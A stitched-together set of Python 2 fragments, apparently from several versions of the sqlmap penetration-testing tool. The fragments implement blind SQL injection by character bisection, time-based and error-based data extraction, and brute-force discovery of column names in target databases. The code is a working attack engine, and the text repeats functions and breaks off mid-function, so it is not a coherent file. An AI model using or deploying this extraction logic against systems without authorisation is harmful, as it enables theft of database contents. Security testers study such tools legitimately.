def downloadThread(): try: while kb.threadContinue: idxlock.acquire() if index[0] >= length: idxlock.release() return index[0] += 1 curidx = index[0] idxlock.release() if kb.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break valuelock.acquire() value[curidx - 1] = val currentValue = list(value) valuelock.release() if kb.threadContinue: if showEta: etaProgressUpdate(time.time() - charStart, index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = 0 for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[ i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): output = output[:-2] + '..' if conf.verbose in (1, 2) and not showEta: output += '_' * (min( length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%s)' % ( count, length, round( 100.0 * count / length), '%') output += status if count != length else " " * len( status) iolock.acquire() dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) iolock.release() if not kb.threadContinue: if int(threading.currentThread().getName() ) == numThreads - 1: partialValue = unicode() for v in value: if v is None: break elif isinstance(v, basestring): partialValue += v if len(partialValue) > 0: dataToSessionFile(replaceNewlineTabs(partialValue)) except (sqlmapConnectionException, sqlmapValueException), errMsg: print kb.threadException = True logger.error("thread %d: %s" % (numThread + 1, errMsg))
if kb.injection.place is not None and kb.injection.parameter is not None: kb.injections.append(kb.injection) readSessionFP.close() else: try: os.remove(conf.sessionFile) logger.info("flushing session file") except OSError, msg: errMsg = "unable to flush the session file (%s)" % msg raise sqlmapFilePathException, errMsg try: conf.sessionFP = codecs.open(conf.sessionFile, "a", UNICODE_ENCODING) dataToSessionFile("\n[%s]\n" % time.strftime("%X %x")) except IOError: errMsg = "unable to write on the session file specified" raise sqlmapFilePathException, errMsg def __createFilesDir(): """ Create the file directory. """ if not conf.rFile: return conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname
if None in value: for v in value: if isinstance(v, str) and v != None: partialValue += v if partialValue: finalValue = partialValue infoMsg = "\r[%s] [INFO] partially retrieved: %s" % ( time.strftime("%X"), finalValue) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), finalValue) if isinstance(finalValue, str) and len(finalValue) > 0: dataToSessionFile(replaceNewlineTabs(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg: dataToStdout(infoMsg) else: index = 0 while True: index += 1 charStart = time.time() val = getChar(index) if val == None: break
def queryOutputLength(expression, payload): """ Returns the query output length. """ lengthQuery = queries[Backend.getIdentifiedDbms()].length.query select = re.search("\ASELECT\s+", expression, re.I) selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I) selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I) selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I) miscExpr = re.search("\A(.+)", expression, re.I) if selectTopExpr or selectDistinctExpr or selectFromExpr or selectExpr: if selectTopExpr: regExpr = selectTopExpr.groups()[0] elif selectDistinctExpr: regExpr = selectDistinctExpr.groups()[0] elif selectFromExpr: regExpr = selectFromExpr.groups()[0] elif selectExpr: regExpr = selectExpr.groups()[0] elif miscExpr: regExpr = miscExpr.groups()[0] if (select and re.search("\A(COUNT|LTRIM)\(", regExpr, re.I)) or len(regExpr) <= 1: return None, None, None if selectDistinctExpr: lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % regExpr, expression) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): lengthExpr += " AS %s" % randomStr(lowercase=True) elif select: lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1) else: lengthExpr = lengthQuery % expression infoMsg = "retrieving the length of query output" logger.info(infoMsg) output = resume(lengthExpr, payload) if output: return 0, output, regExpr dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], lengthExpr)) start = time.time() lengthExprUnescaped = unescaper.unescape(lengthExpr) count, length = bisection(payload, lengthExprUnescaped, charsetType=2) debugMsg = "performed %d queries in %d seconds" % ( count, calculateDeltaSeconds(start)) logger.debug(debugMsg) if length == " ": length = 0 return count, length, regExpr
def resume(expression, payload): """ This function can be called to resume part or entire output of a SQL injection query output. """ try: if "sqlmapfile" in expression or "sqlmapoutput" in expression or conf.freshQueries: return None condition = (kb.resumedQueries and conf.url in kb.resumedQueries.keys() and expression in kb.resumedQueries[conf.url].keys()) if not condition: return None resumedValue = kb.resumedQueries[conf.url][expression] if not resumedValue: return None resumedValue = restoreDumpMarkedChars(resumedValue, True) if resumedValue[-1] == "]": resumedValue = resumedValue[:-1] infoMsg = "read from file '%s': " % conf.sessionFile logValue = re.findall( "%s(.*?)%s" % (DUMP_START_MARKER, DUMP_STOP_MARKER), resumedValue, re.S) if logValue: if kb.technique == PAYLOAD.TECHNIQUE.UNION: logValue = ", ".join([ value.replace(DUMP_DEL_MARKER, ", ") for value in logValue ]) else: return None else: logValue = resumedValue if "\n" in logValue: infoMsg += "%s..." % logValue.split("\n")[0] else: infoMsg += logValue dataToStdout("[%s] [INFO] %s\n" % (time.strftime("%X"), infoMsg)) return resumedValue # If we called this function without providing a payload it means # that we have called it from lib/request/inject __goInband() or # from __goError() function so we return to the calling function # so that the query output will be retrieved taking advantage # of either error-based or inband SQL injection vulnerability. if not payload: return None if not Backend.getIdentifiedDbms(): return None substringQuery = queries[Backend.getIdentifiedDbms()].substring.query select = re.search("\ASELECT ", expression, re.I) _, length, regExpr = queryOutputLength(expression, payload) if not length: return None if len(resumedValue) == int(length): infoMsg = "read from file '%s': " % conf.sessionFile infoMsg += "%s" % resumedValue.split("\n")[0] logger.info(infoMsg) dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(resumedValue))) return resumedValue elif len(resumedValue) < int(length): infoMsg = "resumed from file '%s': " % conf.sessionFile infoMsg += "%s..." % resumedValue.split("\n")[0] logger.info(infoMsg) dataToSessionFile("[%s][%s][%s][%s][%s" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(resumedValue))) if select: newExpr = expression.replace( regExpr, safeStringFormat( substringQuery, (regExpr, len(resumedValue) + 1, int(length))), 1) else: newExpr = safeStringFormat( substringQuery, (expression, len(resumedValue) + 1, int(length))) missingCharsLength = int(length) - len(resumedValue) infoMsg = "retrieving pending %d query " % missingCharsLength infoMsg += "output characters" logger.info(infoMsg) start = time.time() count, finalValue = bisection(payload, newExpr, length=missingCharsLength) debugMsg = "performed %d queries in %d seconds" % ( count, calculateDeltaSeconds(start)) logger.debug(debugMsg) if len(finalValue) != (int(length) - len(resumedValue)): warnMsg = "the total length of the query is not " warnMsg += "right, sqlmap is going to retrieve the " warnMsg += "query value from the beginning now" logger.warn(warnMsg) return None return "%s%s" % (resumedValue, finalValue) return None except ValueError: errMsg = "invalid resume value for expression: '%s'" % expression logger.error(errMsg) return None
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ partialValue = "" finalValue = "" asciiTbl = getCharset(charsetType) timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) # Set kb.partRun in case "common prediction" feature (a.k.a. "good # samaritan") is used kb.partRun = getPartRun() if conf.predictOutput else None if "LENGTH(" in expression or "LEN(" in expression: firstChar = 0 elif dump and conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit() ) ): firstChar = int(conf.firstChar) - 1 elif firstChar is None: firstChar = 0 elif ( isinstance(firstChar, basestring) and firstChar.isdigit() ) or isinstance(firstChar, int): firstChar = int(firstChar) - 1 if "LENGTH(" in expression or "LEN(" in expression: lastChar = 0 elif dump and conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit() ) ): lastChar = int(conf.lastChar) elif lastChar in ( None, "0" ): lastChar = 0 elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int): lastChar = int(lastChar) if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.unescape(expressionReplaced) else: expressionUnescaped = unescaper.unescape(expression) if length and not isinstance(length, int) and length.isdigit(): length = int(length) if length == 0: return 0, "" if lastChar > 0 and length > ( lastChar - firstChar ): length = ( lastChar - firstChar ) showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) threads = [] if showEta: progress = ProgressBar(maxValue=length) progressTime = [] if timeBasedCompare and conf.threads > 1: warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically" singleTimeWarnMessage(warnMsg) if numThreads > 1: if not timeBasedCompare: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not timeBasedCompare: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of --threads switch for faster data retrieval" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not showEta: if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X")) queriesCount = [0] # As list to deal with nested scoping rules hintlock = threading.Lock() def tryHint(idx): hintlock.acquire() hintValue = kb.hintValue hintlock.release() if hintValue is not None and len(hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): posValue = hintValue[idx-1] else: posValue = ord(hintValue[idx-1]) forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) queriesCount[0] += 1 result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result: return hintValue[idx-1] hintlock.acquire() kb.hintValue = None hintlock.release() return None def validateChar(idx, value): """ Used in time-based inference (in case that original and retrieved value are not equal there will be a deliberate delay). """ forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value)) queriesCount[0] += 1 result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) return not result def getChar(idx, charTbl=asciiTbl, continuousOrder=True, expand=charsetType is None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result originalTbl = list(charTbl) if continuousOrder: # Used for gradual expanding into unicode charspace shiftTable = [5, 4] if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl: charTbl.remove(ord('\n')) if len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) queriesCount[0] += 1 result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] while len(charTbl) != 1: position = (len(charTbl) >> 1) posValue = charTbl[position] if CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.unescape(markingValue % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) queriesCount[0] += 1 result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,128*16-1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = list(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if timeBasedCompare and not validateChar(idx, retVal): errMsg = "invalid character detected. retrying.." logger.error(errMsg) if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec conf.timeSec += 1 if (conf.timeSec - kb.originalTimeDelay) <= MAX_TIME_REVALIDATION_STEPS: warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '') warnMsg += "(due to invalid char)" logger.warn(warnMsg) if kb.adjustTimeDelay: dbgMsg = "turning off auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = False return getChar(idx, originalTbl, continuousOrder, expand) else: errMsg = "unable to properly validate character value. using last known value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: return decodeIntToUnicode(retVal) else: return None else: if minValue == maxChar or maxValue == minChar: return None # If we are working with non-continuous elements, set # both minValue and character afterwards are possible # candidates for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]): forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) queriesCount[0] += 1 result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result: return decodeIntToUnicode(retVal) return None def etaProgressUpdate(charTime, index): if len(progressTime) <= ( (length * 3) / 100 ): eta = 0 else: midTime = sum(progressTime) / len(progressTime) midTimeWithLatest = (midTime + charTime) / 2 eta = midTimeWithLatest * (length - index) / conf.threads progressTime.append(charTime) progress.update(index) progress.draw(eta) # Go multi-threading (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: value = [] threadData = getCurrentThreadData() threadData.shared.value = [ None ] * length threadData.shared.index = [ firstChar ] # As list for python nested function scoping lockNames = ('iolock', 'idxlock', 'valuelock') for lock in lockNames: kb.locks[lock] = threading.Lock() try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.idxlock.acquire() if threadData.shared.index[0] >= length: kb.locks.idxlock.release() return threadData.shared.index[0] += 1 curidx = threadData.shared.index[0] kb.locks.idxlock.release() if kb.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break kb.locks.valuelock.acquire() threadData.shared.value[curidx-1] = val currentValue = list(threadData.shared.value) kb.locks.valuelock.release() if kb.threadContinue: if showEta: etaProgressUpdate(time.time() - charStart, threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = 0 for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length-1): output = output[:-2] + '..' if conf.verbose in (1, 2) and not showEta: output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%s)' % (count, length, round(100.0*count/length), '%') output += status if count != length else " "*len(status) kb.locks.iolock.acquire() dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) kb.locks.iolock.release() if not kb.threadContinue: if int(threading.currentThread().getName()) == numThreads - 1: partialValue = unicode() for v in threadData.shared.value: if v is None: break elif isinstance(v, basestring): partialValue += v if len(partialValue) > 0: dataToSessionFile(replaceNewlineTabs(partialValue)) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: raise finally: value = threadData.shared.value infoMsg = None # If we have got one single character not correctly fetched it # can mean that the connection to the target url was lost if None in value: for v in value: if isinstance(v, basestring) and v is not None: partialValue += v if partialValue: finalValue = partialValue infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) if isinstance(finalValue, basestring) and len(finalValue) > 0: dataToSessionFile(replaceNewlineTabs(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg: dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar while True: index += 1 charStart = time.time() # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment if conf.predictOutput and len(finalValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(finalValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.unescape("'%s'" % commonValue) if "'" not in commonValue else unescaper.unescape("%s" % commonValue, quote=False) query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (expressionUnescaped, testValue))) query = agent.suffixQuery(query) queriesCount[0] += 1 result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) # Did we have luck? if result: dataToSessionFile(replaceNewlineTabs(commonValue[index-1:])) if showEta: etaProgressUpdate(time.time() - charStart, len(commonValue)) elif conf.verbose in (1, 2): dataToStdout(commonValue[index-1:]) finalValue = commonValue break # If there is a common pattern starting with finalValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False) query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue))) query = agent.suffixQuery(query) queriesCount[0] += 1 result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) # Did we have luck? if result: val = commonPattern[index-1:] index += len(val)-1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl) if val is None or ( lastChar > 0 and index > lastChar ): break if kb.data.processChar: val = kb.data.processChar(val) finalValue += val dataToSessionFile(replaceNewlineTabs(val)) if showEta: etaProgressUpdate(time.time() - charStart, index) elif conf.verbose in (1, 2): dataToStdout(val) if len(finalValue) > INFERENCE_BLANK_BREAK and finalValue[-INFERENCE_BLANK_BREAK:].isspace(): break if conf.verbose in (1, 2) or showEta: dataToStdout("\n") if ( conf.verbose in ( 1, 2 ) and showEta ) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if not partialValue: dataToSessionFile("]\n") if kb.threadException: raise sqlmapThreadException, "something unexpected happened inside the threads" return queriesCount[0], safecharencode(finalValue) if kb.safeCharEncode else finalValue
def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.idxlock.acquire() if threadData.shared.index[0] >= length: kb.locks.idxlock.release() return threadData.shared.index[0] += 1 curidx = threadData.shared.index[0] kb.locks.idxlock.release() if kb.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break kb.locks.valuelock.acquire() threadData.shared.value[curidx-1] = val currentValue = list(threadData.shared.value) kb.locks.valuelock.release() if kb.threadContinue: if showEta: etaProgressUpdate(time.time() - charStart, threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = 0 for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length-1): output = output[:-2] + '..' if conf.verbose in (1, 2) and not showEta: output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%s)' % (count, length, round(100.0*count/length), '%') output += status if count != length else " "*len(status) kb.locks.iolock.acquire() dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) kb.locks.iolock.release() if not kb.threadContinue: if int(threading.currentThread().getName()) == numThreads - 1: partialValue = unicode() for v in threadData.shared.value: if v is None: break elif isinstance(v, basestring): partialValue += v if len(partialValue) > 0: dataToSessionFile(replaceNewlineTabs(partialValue))
def __oneShotErrorUse(expression, field): global reqCount threadData = getCurrentThreadData() retVal = None offset = 1 while True: check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop) nulledCastedField = agent.nullAndCastField(field) if Backend.getIdentifiedDbms() == DBMS.MYSQL: nulledCastedField = queries[DBMS.MYSQL].substring.query % ( nulledCastedField, offset, MYSQL_ERROR_CHUNK_LENGTH) # Forge the error-based SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) injExpression = unescaper.unescape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True) reqCount += 1 # Parse the returned page to get the exact error-based # sql injection output output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \ or extractRegexResult(check, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if output: output = getUnicode(output, kb.pageEncoding) if isinstance(output, basestring): output = htmlunescape(output).replace("<br>", "\n") if Backend.getIdentifiedDbms() == DBMS.MYSQL: if offset == 1: retVal = output else: retVal += output if output else '' if not (output and len(output) == MYSQL_ERROR_CHUNK_LENGTH): break else: offset += MYSQL_ERROR_CHUNK_LENGTH else: retVal = output break retVal = __errorReplaceChars(retVal) dataToSessionFile( "[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(retVal))) return retVal
def columnExists(columnFile, regex=None): if not conf.tbl: errMsg = "missing table parameter" raise sqlmapMissingMandatoryOptionException, errMsg columns = getFileItems(columnFile, unique=True) columns = filterListValue(columns, regex) if conf.db and not conf.db.endswith(METADB_SUFFIX): table = "%s%s%s" % (conf.db, '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.', conf.tbl) else: table = conf.tbl table = safeSQLIdentificatorNaming(table) retVal = [] infoMsg = "checking column existence using items from '%s'" % columnFile logger.info(infoMsg) count = [0] length = len(columns) threads = [] collock = threading.Lock() iolock = threading.Lock() kb.threadContinue = True kb.bruteMode = True def columnExistsThread(): while count[0] < length and kb.threadContinue: collock.acquire() column = safeSQLIdentificatorNaming(columns[count[0]]) count[0] += 1 collock.release() result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s)", (column, table))) iolock.acquire() if result: retVal.append(column) if conf.verbose in (1, 2): clearConsoleLine(True) infoMsg = "\r[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), column) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%s)' % (count[0], length, round(100.0*count[0]/length), '%') dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) iolock.release() if conf.threads > 1: infoMsg = "starting %d threads" % conf.threads logger.info(infoMsg) else: message = "please enter number of threads? [Enter for %d (current)] " % conf.threads choice = readInput(message, default=str(conf.threads)) if choice and choice.isdigit(): conf.threads = int(choice) if conf.threads == 1: warnMsg = "running in a single-thread mode. This could take a while." logger.warn(warnMsg) # Start the threads for numThread in range(conf.threads): thread = threading.Thread(target=columnExistsThread, name=str(numThread)) thread.start() threads.append(thread) # And wait for them to all finish try: alive = True while alive: alive = False for thread in threads: if thread.isAlive(): alive = True thread.join(5) except KeyboardInterrupt: kb.threadContinue = False kb.threadException = True print logger.debug("waiting for threads to finish") warnMsg = "user aborted during common column existence check. " warnMsg += "sqlmap will display some columns only" logger.warn(warnMsg) try: while (threading.activeCount() > 1): pass except KeyboardInterrupt: raise sqlmapThreadException, "user aborted" finally: kb.bruteMode = False kb.threadContinue = True kb.threadException = False clearConsoleLine(True) dataToStdout("\n") if not retVal: warnMsg = "no column found" logger.warn(warnMsg) else: columns = {} for column in retVal: result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) if result: columns[column] = 'numeric' else: columns[column] = 'non-numeric' dataToSessionFile("[%s][%s][%s][COLUMN_EXISTS][%s|%s %s]\n" % (conf.url, kb.injection.place,\ safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(table),\ safeFormatString(column), safeFormatString(columns[column]))) kb.data.cachedColumns[conf.db] = {conf.tbl: columns} return kb.data.cachedColumns
if kb.injection.place is not None and kb.injection.parameter is not None: kb.injections.append(kb.injection) readSessionFP.close() else: try: os.remove(conf.sessionFile) logger.info("flushing session file") except OSError, msg: errMsg = "unable to flush the session file (%s)" % msg raise sqlmapFilePathException, errMsg try: conf.sessionFP = codecs.open(conf.sessionFile, "a", UNICODE_ENCODING) dataToSessionFile("\n[%s]\n" % time.strftime("%X %x")) except IOError: errMsg = "unable to write on the session file specified" raise sqlmapFilePathException, errMsg def __createFilesDir(): """ Create the file directory. """ if not conf.rFile: return conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname if not os.path.isdir(conf.filePath):
def resume(expression, payload): """ This function can be called to resume part or entire output of a SQL injection query output. """ condition = (kb.resumedQueries and conf.url in kb.resumedQueries.keys() and expression in kb.resumedQueries[conf.url].keys()) if not condition: return None resumedValue = kb.resumedQueries[conf.url][expression] if not resumedValue: return None if resumedValue[-1] == "]": resumedValue = resumedValue[:-1] infoMsg = "read from file '%s': " % conf.sessionFile logValue = re.findall("__START__(.*?)__STOP__", resumedValue, re.S) if logValue: logValue = ", ".join( [value.replace("__DEL__", ", ") for value in logValue]) else: logValue = resumedValue if "\n" in logValue: infoMsg += "%s..." % logValue.split("\n")[0] else: infoMsg += logValue logger.info(infoMsg) return resumedValue # If we called this function without providing a payload it means that # we have called it from lib/request/inject __goInband() function # in UNION query (inband) SQL injection so we return to the calling # function so that the query output will be retrieved taking advantage # of the inband SQL injection vulnerability. if not payload: return None expressionUnescaped = unescaper.unescape(expression) substringQuery = queries[kb.dbms].substring select = re.search("\ASELECT ", expression, re.I) _, length, regExpr = queryOutputLength(expression, payload) if not length: return None if len(resumedValue) == int(length): infoMsg = "read from file '%s': " % conf.sessionFile infoMsg += "%s" % resumedValue.split("\n")[0] logger.info(infoMsg) dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue)) return resumedValue elif len(resumedValue) < int(length): infoMsg = "resumed from file '%s': " % conf.sessionFile infoMsg += "%s..." % resumedValue.split("\n")[0] logger.info(infoMsg) dataToSessionFile("[%s][%s][%s][%s][%s" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue)) if select: newExpr = expressionUnescaped.replace( regExpr, substringQuery % (regExpr, len(resumedValue) + 1, int(length)), 1) else: newExpr = substringQuery % (expressionUnescaped, len(resumedValue) + 1, int(length)) missingCharsLength = int(length) - len(resumedValue) infoMsg = "retrieving pending %d query " % missingCharsLength infoMsg += "output characters" logger.info(infoMsg) _, finalValue = bisection(payload, newExpr, length=missingCharsLength) if len(finalValue) != (int(length) - len(resumedValue)): warnMsg = "the total length of the query is not " warnMsg += "right, sqlmap is going to retrieve the " warnMsg += "query value from the beginning now" logger.warn(warnMsg) return None return "%s%s" % (resumedValue, finalValue) return None
